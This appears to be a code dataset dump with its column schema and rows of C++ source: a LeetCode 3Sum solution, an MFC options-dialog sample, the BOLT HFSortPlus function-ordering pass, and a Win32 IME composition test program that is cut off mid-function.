hexsha stringlengths 40 40 | size int64 7 1.05M | ext stringclasses 13
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 269 | max_stars_repo_name stringlengths 5 108 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 9 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 269 | max_issues_repo_name stringlengths 5 116 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 9 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 269 | max_forks_repo_name stringlengths 5 116 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 9 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 7 1.05M | avg_line_length float64 1.21 330k | max_line_length int64 6 990k | alphanum_fraction float64 0.01 0.99 | author_id stringlengths 2 40 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6bb36bd032f4b3ce1e8c05db64801b82f06516de | 1,159 | cpp | C++ | solutions/c++/problems/[0013_Medium] 3Sum.cpp | RageBill/leetcode | a11d411f4e38b5c3f05ca506a193f50b25294497 | [
"MIT"
] | 6 | 2021-02-20T14:00:22.000Z | 2022-03-31T15:26:44.000Z | solutions/c++/problems/[0013_Medium] 3Sum.cpp | RageBill/leetcode | a11d411f4e38b5c3f05ca506a193f50b25294497 | [
"MIT"
] | null | null | null | solutions/c++/problems/[0013_Medium] 3Sum.cpp | RageBill/leetcode | a11d411f4e38b5c3f05ca506a193f50b25294497 | [
"MIT"
] | null | null | null | #include <bits/stdc++.h>
using namespace std;
class Solution {
public:
void twoSum(vector<vector<int>> &ans, vector<int> &nums, int checkIndex) {
int startIndex = checkIndex + 1;
int endIndex = nums.size() - 1;
while (startIndex < endIndex) {
int sum = nums[checkIndex] + nums[startIndex] + nums[endIndex];
if (sum == 0) {
ans.push_back({nums[checkIndex], nums[startIndex], nums[endIndex]});
do {
startIndex++;
} while (nums[startIndex] == nums[startIndex - 1] && startIndex < endIndex);
endIndex--;
} else if (sum > 0) {
endIndex--;
} else {
startIndex++;
}
}
}
vector<vector<int>> threeSum(vector<int> &nums) {
vector<vector<int>> ans = {};
if (nums.size() >= 3) {
sort(nums.begin(), nums.end());
for (int i = 0; i < nums.size() - 2; i++) {
if (i > 0 && nums[i] == nums[i - 1]) continue;
twoSum(ans, nums, i);
}
}
return ans;
}
}; | 31.324324 | 92 | 0.458154 | RageBill |
6bb9112c3fbad4bf1581a6992d7a8b50ca744543 | 1,859 | cpp | C++ | samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp | BaruaSourav/docs | c288ed777de6b091f5e074d3488f7934683f3eb5 | [
"CC-BY-4.0",
"MIT"
] | 3,294 | 2016-10-30T05:27:20.000Z | 2022-03-31T15:59:30.000Z | samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp | BaruaSourav/docs | c288ed777de6b091f5e074d3488f7934683f3eb5 | [
"CC-BY-4.0",
"MIT"
] | 16,739 | 2016-10-28T19:41:29.000Z | 2022-03-31T22:38:48.000Z | samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp | BaruaSourav/docs | c288ed777de6b091f5e074d3488f7934683f3eb5 | [
"CC-BY-4.0",
"MIT"
] | 6,701 | 2016-10-29T20:56:11.000Z | 2022-03-31T12:32:26.000Z | // This is a part of the Microsoft Foundation Classes C++ library.
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// This source code is only intended as a supplement to the
// Microsoft Foundation Classes Reference and related
// electronic documentation provided with the library.
// See these sources for detailed information regarding the
// Microsoft Foundation Classes product.
#include "stdafx.h"
#include "OptionsDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// COptionsDlg
IMPLEMENT_DYNAMIC(COptionsDlg, CMFCPropertySheet)
COptionsDlg::COptionsDlg(LPCTSTR pszCaption, CWnd* pParentWnd, UINT iSelectPage)
:CMFCPropertySheet(pszCaption, pParentWnd, iSelectPage)
{
SetLook(CMFCPropertySheet::PropSheetLook_Tree, 150 /* Tree control width */);
SetIconsList(IDB_OPTIONSIMAGES, 16 /* Image width */);
// <snippet23>
// The second parameter is the zero based index of an icon that is displayed when
// the control property page is not selected.
// The third parameter is the zero based index of an icon that is displayed when
// the control property page is selected.
CMFCPropertySheetCategoryInfo* pCat1 = AddTreeCategory(_T("Environment"), 0, 1);
// </snippet23>
AddPageToTree(pCat1, &m_Page11, -1, 2);
AddPageToTree(pCat1, &m_Page12, -1, 2);
CMFCPropertySheetCategoryInfo* pCat2 = AddTreeCategory(_T("Source Control"), 0, 1);
AddPageToTree(pCat2, &m_Page21, -1, 2);
AddPageToTree(pCat2, &m_Page22, -1, 2);
CMFCPropertySheetCategoryInfo* pCat3 = AddTreeCategory(_T("Text Editor"), 0, 1);
AddPageToTree(pCat3, &m_Page31, -1, 2);
AddPageToTree(pCat3, &m_Page32, -1, 2);
}
COptionsDlg::~COptionsDlg()
{
}
BEGIN_MESSAGE_MAP(COptionsDlg, CMFCPropertySheet)
END_MESSAGE_MAP()
| 31.508475 | 84 | 0.726735 | BaruaSourav |
6bb9dfbae9a01e9d577d0bf2e58ac25b2a56466c | 18,531 | cpp | C++ | src/Passes/HFSortPlus.cpp | davidmalcolm/BOLT | c5c46ca08fd846fb22e032a965fbccf2b0415861 | [
"NCSA"
] | 2 | 2019-04-14T20:18:08.000Z | 2020-02-18T19:31:51.000Z | src/Passes/HFSortPlus.cpp | davidmalcolm/BOLT | c5c46ca08fd846fb22e032a965fbccf2b0415861 | [
"NCSA"
] | null | null | null | src/Passes/HFSortPlus.cpp | davidmalcolm/BOLT | c5c46ca08fd846fb22e032a965fbccf2b0415861 | [
"NCSA"
] | 1 | 2022-01-12T17:53:25.000Z | 2022-01-12T17:53:25.000Z | //===--- HFSortPlus.cpp - Cluster functions by hotness --------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
//===----------------------------------------------------------------------===//
#include "BinaryFunction.h"
#include "HFSort.h"
#include "ReorderUtils.h"
#include "llvm/Support/Options.h"
#include <vector>
#include <unordered_map>
#include <unordered_set>
#undef DEBUG_TYPE
#define DEBUG_TYPE "hfsort"
using namespace llvm;
using namespace bolt;
namespace opts {
extern cl::OptionCategory BoltOptCategory;
extern cl::opt<unsigned> ITLBPageSize;
extern cl::opt<unsigned> ITLBEntries;
cl::opt<double>
MergeProbability("merge-probability",
cl::desc("The minimum probability of a call for merging two clusters"),
cl::init(0.99),
cl::ZeroOrMore,
cl::cat(BoltOptCategory));
}
namespace llvm {
namespace bolt {
using NodeId = CallGraph::NodeId;
using Arc = CallGraph::Arc;
using Node = CallGraph::Node;
namespace {
constexpr size_t InvalidAddr = -1;
// The size of a cache page: Since we optimize both for i-TLB cache (2MB pages)
// and i-cache (64b pages), using a value that fits both
int32_t ITLBPageSize;
// Capacity of the iTLB cache: Larger values yield more iTLB-friendly result,
// while smaller values result in better i-cache performance
int32_t ITLBEntries;
/// Density of a cluster formed by merging a given pair of clusters.
double density(const Cluster *ClusterPred, const Cluster *ClusterSucc) {
const double CombinedSamples = ClusterPred->samples() + ClusterSucc->samples();
const double CombinedSize = ClusterPred->size() + ClusterSucc->size();
return CombinedSamples / CombinedSize;
}
/// Deterministically compare clusters by density in decreasing order.
bool compareClusters(const Cluster *C1, const Cluster *C2) {
const double D1 = C1->density();
const double D2 = C2->density();
if (D1 != D2)
return D1 > D2;
// making sure the sorting is deterministic
return C1->target(0) < C2->target(0);
}
/// Deterministically compare pairs of clusters by density in decreasing order.
bool compareClusterPairs(const Cluster *A1, const Cluster *B1,
const Cluster *A2, const Cluster *B2) {
const auto D1 = density(A1, B1);
const auto D2 = density(A2, B2);
if (D1 != D2)
return D1 > D2;
const auto Size1 = A1->size() + B1->size();
const auto Size2 = A2->size() + B2->size();
if (Size1 != Size2)
return Size1 < Size2;
const auto Samples1 = A1->samples() + B1->samples();
const auto Samples2 = A2->samples() + B2->samples();
if (Samples1 != Samples2)
return Samples1 > Samples2;
return A1->target(0) < A2->target(0);
}
/// HFSortPlus - layout of hot functions with iTLB cache optimization
///
/// Given an ordering of hot functions (and hence, their assignment to the
/// iTLB pages), we can divide all functions calls into two categories:
/// - 'short' ones that have a caller-callee distance less than a page;
/// - 'long' ones where the distance exceeds a page.
/// The short calls are likely to result in a iTLB cache hit. For the long ones,
/// the hit/miss result depends on the 'hotness' of the page (i.e., how often
/// the page is accessed). Assuming that functions are sent to the iTLB cache
/// in a random order, the probability that a page is present in the cache is
/// proportional to the number of samples corresponding to the functions on the
/// page. The following algorithm detects short and long calls, and optimizes
/// the expected number of cache misses for the long ones.
class HFSortPlus {
public:
/// The expected number of calls on different i-TLB pages for an arc of the
/// call graph with a specified weight
double expectedCalls(int64_t SrcAddr, int64_t DstAddr, double Weight) const {
const auto Dist = std::abs(SrcAddr - DstAddr);
if (Dist > ITLBPageSize)
return 0;
double X = double(Dist) / double(ITLBPageSize);
// Increasing the importance of shorter calls
return (1.0 - X * X) * Weight;
}
/// The probability that a page with a given weight is not present in the cache
///
/// Assume that the hot functions are called in a random order; then the
/// probability of a i-TLB page being accessed after a function call is
/// p=pageSamples/totalSamples. The probability that the page is not accessed
/// is (1-p), and the probability that it is not in the cache (i.e. not accessed
/// during the last ITLBEntries function calls) is (1-p)^ITLBEntries
double missProbability(double PageSamples) const {
double P = PageSamples / TotalSamples;
double X = ITLBEntries;
return pow(1.0 - P, X);
}
/// The expected number of calls within a given cluster with both endpoints on
/// the same cache page
double shortCalls(const Cluster *Cluster) const {
double Calls = 0;
for (auto TargetId : Cluster->targets()) {
for (auto Succ : Cg.successors(TargetId)) {
if (FuncCluster[Succ] == Cluster) {
const auto &Arc = *Cg.findArc(TargetId, Succ);
auto SrcAddr = Addr[TargetId] + Arc.avgCallOffset();
auto DstAddr = Addr[Succ];
Calls += expectedCalls(SrcAddr, DstAddr, Arc.weight());
}
}
}
return Calls;
}
/// The number of calls between the two clusters with both endpoints on
/// the same i-TLB page, assuming that a given pair of clusters gets merged
double shortCalls(const Cluster *ClusterPred,
const Cluster *ClusterSucc) const {
double Calls = 0;
for (auto TargetId : ClusterPred->targets()) {
for (auto Succ : Cg.successors(TargetId)) {
if (FuncCluster[Succ] == ClusterSucc) {
const auto &Arc = *Cg.findArc(TargetId, Succ);
auto SrcAddr = Addr[TargetId] + Arc.avgCallOffset();
auto DstAddr = Addr[Succ] + ClusterPred->size();
Calls += expectedCalls(SrcAddr, DstAddr, Arc.weight());
}
}
}
for (auto TargetId : ClusterPred->targets()) {
for (auto Pred : Cg.predecessors(TargetId)) {
if (FuncCluster[Pred] == ClusterSucc) {
const auto &Arc = *Cg.findArc(Pred, TargetId);
auto SrcAddr = Addr[Pred] + Arc.avgCallOffset() +
ClusterPred->size();
auto DstAddr = Addr[TargetId];
Calls += expectedCalls(SrcAddr, DstAddr, Arc.weight());
}
}
}
return Calls;
}
/// The gain of merging two clusters.
///
/// We assume that the final clusters are sorted by their density, and hence
/// every cluster is likely to be adjacent with clusters of the same density.
/// Thus, the 'hotness' of every cluster can be estimated by density*pageSize,
/// which is used to compute the probability of cache misses for long calls
/// of a given cluster.
/// The result is also scaled by the size of the resulting cluster in order to
/// increse the chance of merging short clusters, which is helpful for
/// the i-cache performance.
double mergeGain(const Cluster *ClusterPred,
const Cluster *ClusterSucc) const {
if (UseGainCache && GainCache.contains(ClusterPred, ClusterSucc)) {
return GainCache.get(ClusterPred, ClusterSucc);
}
// cache misses on the first cluster
double LongCallsPred = ClusterPred->samples() - shortCalls(ClusterPred);
double ProbPred = missProbability(ClusterPred->density() * ITLBPageSize);
double ExpectedMissesPred = LongCallsPred * ProbPred;
// cache misses on the second cluster
double LongCallsSucc = ClusterSucc->samples() - shortCalls(ClusterSucc);
double ProbSucc = missProbability(ClusterSucc->density() * ITLBPageSize);
double ExpectedMissesSucc = LongCallsSucc * ProbSucc;
// cache misses on the merged cluster
double LongCallsNew = LongCallsPred + LongCallsSucc -
shortCalls(ClusterPred, ClusterSucc);
double NewDensity = density(ClusterPred, ClusterSucc);
double ProbNew = missProbability(NewDensity * ITLBPageSize);
double MissesNew = LongCallsNew * ProbNew;
double Gain = ExpectedMissesPred + ExpectedMissesSucc - MissesNew;
// scaling the result to increase the importance of merging short clusters
Gain /= std::min(ClusterPred->size(), ClusterSucc->size());
if (UseGainCache) {
GainCache.set(ClusterPred, ClusterSucc, Gain);
}
return Gain;
}
/// For every active cluster, compute its total weight of outgoing edges
std::unordered_map<Cluster *, double> computeOutgoingWeight() {
std::unordered_map<Cluster *, double> OutWeight;
for (auto ClusterPred : Clusters) {
double Weight = 0;
for (auto TargetId : ClusterPred->targets()) {
for (auto Succ : Cg.successors(TargetId)) {
auto *ClusterSucc = FuncCluster[Succ];
if (!ClusterSucc || ClusterSucc == ClusterPred)
continue;
const auto &Arc = *Cg.findArc(TargetId, Succ);
Weight += Arc.weight();
}
}
OutWeight[ClusterPred] += Weight;
}
return OutWeight;
}
/// Find pairs of clusters that call each other with high probability
std::vector<std::pair<Cluster *, Cluster *>> findClustersToMerge() {
// compute total weight of outgoing edges for every cluster
auto OutWeight = computeOutgoingWeight();
std::vector<std::pair<Cluster *, Cluster *>> PairsToMerge;
std::unordered_set<Cluster *> ClustersToMerge;
for (auto ClusterPred : Clusters) {
for (auto TargetId : ClusterPred->targets()) {
for (auto Succ : Cg.successors(TargetId)) {
auto *ClusterSucc = FuncCluster[Succ];
if (!ClusterSucc || ClusterSucc == ClusterPred)
continue;
const auto &Arc = *Cg.findArc(TargetId, Succ);
const double CallsFromPred = OutWeight[ClusterPred];
const double CallsToSucc = ClusterSucc->samples();
const double CallsPredSucc = Arc.weight();
// probability that the first cluster is calling the second one
const double ProbOut =
CallsFromPred > 0 ? CallsPredSucc / CallsFromPred : 0;
assert(0.0 <= ProbOut && ProbOut <= 1.0 && "incorrect probability");
// probability that the second cluster is called from the first one
const double ProbIn =
CallsToSucc > 0 ? CallsPredSucc / CallsToSucc : 0;
assert(0.0 <= ProbIn && ProbIn <= 1.0 && "incorrect probability");
if (std::min(ProbOut, ProbIn) >= opts::MergeProbability) {
if (ClustersToMerge.count(ClusterPred) == 0 &&
ClustersToMerge.count(ClusterSucc) == 0) {
PairsToMerge.push_back(std::make_pair(ClusterPred, ClusterSucc));
ClustersToMerge.insert(ClusterPred);
ClustersToMerge.insert(ClusterSucc);
}
}
}
}
}
return PairsToMerge;
}
/// Run the first optimization pass of the hfsort+ algorithm:
/// Merge clusters that call each other with high probability
void runPassOne() {
while (Clusters.size() > 1) {
// pairs of clusters that will be merged on this iteration
auto PairsToMerge = findClustersToMerge();
// stop the pass when there are no pairs to merge
if (PairsToMerge.empty())
break;
// merge the pairs of clusters
for (auto &Pair : PairsToMerge) {
mergeClusters(Pair.first, Pair.second);
}
}
}
/// Run the second optimization pass of the hfsort+ algorithm:
/// Merge pairs of clusters while there is an improvement in the
/// expected cache miss ratio
void runPassTwo() {
while (Clusters.size() > 1) {
Cluster *BestClusterPred = nullptr;
Cluster *BestClusterSucc = nullptr;
double BestGain = -1;
for (auto ClusterPred : Clusters) {
// get candidates for merging with the current cluster
Adjacent.forAllAdjacent(
ClusterPred,
// find the best candidate
[&](Cluster *ClusterSucc) {
assert(ClusterPred != ClusterSucc && "loop edges are not supported");
// compute the gain of merging two clusters
const double Gain = mergeGain(ClusterPred, ClusterSucc);
// breaking ties by density to make the hottest clusters be merged first
if (Gain > BestGain || (std::abs(Gain - BestGain) < 1e-8 &&
compareClusterPairs(ClusterPred,
ClusterSucc,
BestClusterPred,
BestClusterSucc))) {
BestGain = Gain;
BestClusterPred = ClusterPred;
BestClusterSucc = ClusterSucc;
}
});
}
// stop merging when there is no improvement
if (BestGain <= 0.0)
break;
// merge the best pair of clusters
mergeClusters(BestClusterPred, BestClusterSucc);
}
}
/// Run hfsort+ algorithm and return ordered set of function clusters.
std::vector<Cluster> run() {
DEBUG(dbgs() << "Starting hfsort+ w/"
<< (UseGainCache ? "gain cache" : "no cache")
<< " for " << Clusters.size() << " clusters "
<< "with ITLBPageSize = " << ITLBPageSize << ", "
<< "ITLBEntries = " << ITLBEntries << ", "
<< "and MergeProbability = " << opts::MergeProbability << "\n");
// Pass 1
runPassOne();
// Pass 2
runPassTwo();
DEBUG(dbgs() << "Completed hfsort+ with " << Clusters.size() << " clusters\n");
// Sorting clusters by density in decreasing order
std::stable_sort(Clusters.begin(), Clusters.end(), compareClusters);
// Return the set of clusters that are left, which are the ones that
// didn't get merged (so their first func is its original func)
std::vector<Cluster> Result;
Result.reserve(Clusters.size());
for (auto Cluster : Clusters) {
Result.emplace_back(std::move(*Cluster));
}
return Result;
}
HFSortPlus(const CallGraph &Cg, bool UseGainCache)
: Cg(Cg),
FuncCluster(Cg.numNodes(), nullptr),
Addr(Cg.numNodes(), InvalidAddr),
TotalSamples(0.0),
Clusters(initializeClusters()),
Adjacent(Cg.numNodes()),
UseGainCache(UseGainCache),
GainCache(Clusters.size()) {
// Initialize adjacency matrix
Adjacent.initialize(Clusters);
for (auto *A : Clusters) {
for (auto TargetId : A->targets()) {
for (auto Succ : Cg.successors(TargetId)) {
auto *B = FuncCluster[Succ];
if (!B || B == A) continue;
const auto &Arc = *Cg.findArc(TargetId, Succ);
if (Arc.weight() > 0.0)
Adjacent.set(A, B);
}
for (auto Pred : Cg.predecessors(TargetId)) {
auto *B = FuncCluster[Pred];
if (!B || B == A) continue;
const auto &Arc = *Cg.findArc(Pred, TargetId);
if (Arc.weight() > 0.0)
Adjacent.set(A, B);
}
}
}
}
private:
/// Initialize the set of active clusters, function id to cluster mapping,
/// total number of samples and function addresses.
std::vector<Cluster *> initializeClusters() {
outs() << "BOLT-INFO: running hfsort+ for " << Cg.numNodes() << " functions\n";
ITLBPageSize = opts::ITLBPageSize;
ITLBEntries = opts::ITLBEntries;
// Initialize clusters
std::vector<Cluster *> Clusters;
Clusters.reserve(Cg.numNodes());
AllClusters.reserve(Cg.numNodes());
for (NodeId F = 0; F < Cg.numNodes(); ++F) {
AllClusters.emplace_back(F, Cg.getNode(F));
Clusters.emplace_back(&AllClusters[F]);
Clusters.back()->setId(Clusters.size() - 1);
FuncCluster[F] = &AllClusters[F];
Addr[F] = 0;
TotalSamples += Cg.samples(F);
}
return Clusters;
}
/// Merge cluster From into cluster Into and update the list of active clusters
void mergeClusters(Cluster *Into, Cluster *From) {
// The adjacency merge must happen before the Cluster::merge since that
// clobbers the contents of From.
Adjacent.merge(Into, From);
Into->merge(*From);
From->clear();
// Update the clusters and addresses for functions merged from From.
size_t CurAddr = 0;
for (auto TargetId : Into->targets()) {
FuncCluster[TargetId] = Into;
Addr[TargetId] = CurAddr;
CurAddr += Cg.size(TargetId);
// Functions are aligned in the output binary,
// replicating the effect here using BinaryFunction::MinAlign
const auto Align = BinaryFunction::MinAlign;
CurAddr = ((CurAddr + Align - 1) / Align) * Align;
}
// Invalidate all cache entries associated with cluster Into
if (UseGainCache) {
GainCache.invalidate(Into);
}
// Remove cluster From from the list of active clusters
auto Iter = std::remove(Clusters.begin(), Clusters.end(), From);
Clusters.erase(Iter, Clusters.end());
}
// The call graph
const CallGraph &Cg;
// All clusters
std::vector<Cluster> AllClusters;
// Target_id => cluster
std::vector<Cluster *> FuncCluster;
// current address of the function from the beginning of its cluster
std::vector<size_t> Addr;
// the total number of samples in the graph
double TotalSamples;
// All clusters with non-zero number of samples. This vector gets
// udpated at runtime when clusters are merged.
std::vector<Cluster *> Clusters;
// Cluster adjacency matrix
AdjacencyMatrix<Cluster> Adjacent;
// Use cache for mergeGain results
bool UseGainCache;
// A cache that keeps precomputed values of mergeGain for pairs of clusters;
// when a pair of clusters (x,y) gets merged, we need to invalidate the pairs
// containing both x and y and all clusters adjacent to x and y (and recompute
// them on the next iteration).
mutable ClusterPairCache<Cluster, double> GainCache;
};
} // end namespace anonymous
std::vector<Cluster> hfsortPlus(CallGraph &Cg, bool UseGainCache) {
// It is required that the sum of incoming arc weights is not greater
// than the number of samples for every function.
// Ensuring the call graph obeys the property before running the algorithm.
Cg.adjustArcWeights();
return HFSortPlus(Cg, UseGainCache).run();
}
}}
| 35.705202 | 84 | 0.640656 | davidmalcolm |
6bba3869449de6031b534304680e1472cc4667b2 | 9,225 | cpp | C++ | WndDesign3/IME simplification/temp2/merged.cpp | hchenqi/CppTest | ae650409282b6ad7a0bd12cb67b961777e16c208 | [
"MIT"
] | null | null | null | WndDesign3/IME simplification/temp2/merged.cpp | hchenqi/CppTest | ae650409282b6ad7a0bd12cb67b961777e16c208 | [
"MIT"
] | null | null | null | WndDesign3/IME simplification/temp2/merged.cpp | hchenqi/CppTest | ae650409282b6ad7a0bd12cb67b961777e16c208 | [
"MIT"
] | null | null | null |
#include <string>
#include <Windows.h>
using Point = struct { int x; int y; };
using Size = struct { int width; int height; };
using Rect = struct { Point point; Size size; };
using uint = unsigned;
Rect region_empty = {};
using std::wstring;
class IMM32Manager {
public:
bool is_composing() const { return is_composing_; }
IMM32Manager()
: is_composing_(false),
input_language_id_(LANG_USER_DEFAULT),
system_caret_(false),
caret_rect_{ -1, -1, 0, 0 },
use_composition_window_(false) {
}
~IMM32Manager() {}
void SetInputLanguage();
void CreateImeWindow(HWND window_handle);
LRESULT SetImeWindowStyle(HWND window_handle, UINT message,
WPARAM wparam, LPARAM lparam);
void DestroyImeWindow(HWND window_handle);
void UpdateImeWindow(HWND window_handle);
void CleanupComposition(HWND window_handle);
void ResetComposition(HWND window_handle);
void GetResult(HWND window_handle, LPARAM lparam, wstring& result);
void GetComposition(HWND window_handle, LPARAM lparam, wstring& result);
void EnableIME(HWND window_handle);
void DisableIME(HWND window_handle);
void CancelIME(HWND window_handle);
void UpdateCaretRect(HWND window_handle, Rect caret_rect);
void SetUseCompositionWindow(bool use_composition_window);
LANGID input_language_id() const { return input_language_id_; }
bool IsInputLanguageCJK() const;
bool IsImm32ImeActive();
protected:
void MoveImeWindow(HWND window_handle, HIMC imm_context);
void CompleteComposition(HWND window_handle, HIMC imm_context);
bool GetString(HIMC imm_context, WPARAM lparam, int type, wstring& result);
private:
bool is_composing_;
LANGID input_language_id_;
bool system_caret_;
Rect caret_rect_;
bool use_composition_window_;
};
#include <Windows.h>
HWND hWnd;
IMM32Manager ime;
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
const wchar_t className[] = L"ImeTestClass";
const wchar_t titleName[] = L"ImeTest";
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.hInstance = hInstance;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpfnWndProc = WndProc;
wc.lpszClassName = className;
if (!RegisterClassEx(&wc)) { return 0; }
hWnd = CreateWindowEx(NULL,
className, titleName,
WS_OVERLAPPEDWINDOW,
200, 200, 800, 500,
NULL, NULL, hInstance, NULL);
if (hWnd == NULL) { return 0; }
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
HDC hdc;
PAINTSTRUCT ps;
static wstring result = L"result", composition = L"composition";
switch (msg) {
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);
TextOutW(hdc, 50, 50, result.data(), result.length());
TextOutW(hdc, 50, 100, composition.data(), composition.length());
EndPaint(hwnd, &ps);
break;
case WM_IME_SETCONTEXT:
ime.CreateImeWindow(hwnd);
ime.CleanupComposition(hwnd);
ime.SetImeWindowStyle(hwnd, msg, wParam, lParam);
ime.SetUseCompositionWindow(true);
break;
case WM_IME_STARTCOMPOSITION:
ime.CreateImeWindow(hwnd);
ime.ResetComposition(hwnd);
ime.UpdateCaretRect(hwnd, Rect{ 100, 100, 100, 100 });
break;
case WM_IME_COMPOSITION: {
ime.UpdateImeWindow(hwnd);
ime.GetResult(hwnd, lParam, result);
ime.GetComposition(hwnd, lParam, composition);
InvalidateRect(hwnd, NULL, true);
}break;
case WM_IME_ENDCOMPOSITION:
ime.ResetComposition(hwnd);
ime.DestroyImeWindow(hwnd);
break;
case WM_INPUTLANGCHANGE:
ime.SetInputLanguage();
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}
#pragma comment(lib, "imm32.lib")
void IMM32Manager::SetInputLanguage() {
WCHAR keyboard_layout[KL_NAMELENGTH];
if (::GetKeyboardLayoutNameW(keyboard_layout)) {
input_language_id_ =
static_cast<LANGID>(
wcstol(&keyboard_layout[KL_NAMELENGTH >> 1], nullptr, 16));
} else {
input_language_id_ = 0x0409; // Fallback to en-US.
}
}
void IMM32Manager::CreateImeWindow(HWND window_handle) {
if (PRIMARYLANGID(input_language_id_) == LANG_CHINESE ||
PRIMARYLANGID(input_language_id_) == LANG_JAPANESE) {
if (!system_caret_) {
if (::CreateCaret(window_handle, NULL, 1, 1)) {
system_caret_ = true;
}
}
}
UpdateImeWindow(window_handle);
}
LRESULT IMM32Manager::SetImeWindowStyle(HWND window_handle, UINT message, WPARAM wparam, LPARAM lparam) {
lparam &= ~ISC_SHOWUICOMPOSITIONWINDOW;
return ::DefWindowProc(window_handle, message, wparam, lparam);
}
void IMM32Manager::DestroyImeWindow(HWND window_handle) {
// Destroy the system caret if we have created for this IME input context.
if (system_caret_) {
::DestroyCaret();
system_caret_ = false;
}
}
void IMM32Manager::MoveImeWindow(HWND window_handle, HIMC imm_context) {
if (GetFocus() != window_handle)
return;
int x = caret_rect_.point.x;
int y = caret_rect_.point.y;
const int kCaretMargin = 1;
if (!use_composition_window_ &&
PRIMARYLANGID(input_language_id_) == LANG_CHINESE) {
CANDIDATEFORM candidate_position = { 0, CFS_CANDIDATEPOS, {x, y},
{0, 0, 0, 0} };
::ImmSetCandidateWindow(imm_context, &candidate_position);
}
if (system_caret_) {
switch (PRIMARYLANGID(input_language_id_)) {
case LANG_JAPANESE:
::SetCaretPos(x, y + caret_rect_.size.height);
break;
default:
::SetCaretPos(x, y);
break;
}
}
if (use_composition_window_) {
COMPOSITIONFORM cf = { CFS_POINT, {x, y} };
::ImmSetCompositionWindow(imm_context, &cf);
return;
}
if (PRIMARYLANGID(input_language_id_) == LANG_KOREAN) {
y += kCaretMargin;
}
CANDIDATEFORM exclude_rectangle = { 0, CFS_EXCLUDE, {x, y},
{x, y, x + caret_rect_.size.width, y + caret_rect_.size.height} };
::ImmSetCandidateWindow(imm_context, &exclude_rectangle);
}
void IMM32Manager::UpdateImeWindow(HWND window_handle) {
if (caret_rect_.point.x >= 0 && caret_rect_.point.y >= 0) {
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
MoveImeWindow(window_handle, imm_context);
::ImmReleaseContext(window_handle, imm_context);
}
}
}
void IMM32Manager::CleanupComposition(HWND window_handle) {
if (is_composing_) {
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
::ImmNotifyIME(imm_context, NI_COMPOSITIONSTR, CPS_COMPLETE, 0);
::ImmReleaseContext(window_handle, imm_context);
}
ResetComposition(window_handle);
}
}
void IMM32Manager::ResetComposition(HWND window_handle) {
is_composing_ = false;
}
void IMM32Manager::CompleteComposition(HWND window_handle, HIMC imm_context) {
if (is_composing_) {
::ImmNotifyIME(imm_context, NI_COMPOSITIONSTR, CPS_COMPLETE, 0);
ResetComposition(window_handle);
}
}
bool IMM32Manager::GetString(HIMC imm_context, WPARAM lparam, int type, wstring& result) {
if (!(lparam & type)) return false;
LONG string_size = ::ImmGetCompositionString(imm_context, type, NULL, 0);
if (string_size <= 0 || string_size % sizeof(wchar_t) != 0) return false;
result.resize(string_size / sizeof(wchar_t));
::ImmGetCompositionString(imm_context, type, const_cast<wchar_t*>(result.data()), string_size);
return true;
}
void IMM32Manager::GetResult(HWND window_handle, LPARAM lparam, wstring& result) {
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
GetString(imm_context, lparam, GCS_RESULTSTR, result);
::ImmReleaseContext(window_handle, imm_context);
}
}
void IMM32Manager::GetComposition(HWND window_handle, LPARAM lparam, wstring& result) {
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
if (GetString(imm_context, lparam, GCS_COMPSTR, result)) {
is_composing_ = true;
}
::ImmReleaseContext(window_handle, imm_context);
}
}
void IMM32Manager::DisableIME(HWND window_handle) {
CleanupComposition(window_handle);
::ImmAssociateContextEx(window_handle, NULL, 0);
}
void IMM32Manager::CancelIME(HWND window_handle) {
if (is_composing_) {
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
::ImmNotifyIME(imm_context, NI_COMPOSITIONSTR, CPS_CANCEL, 0);
::ImmReleaseContext(window_handle, imm_context);
}
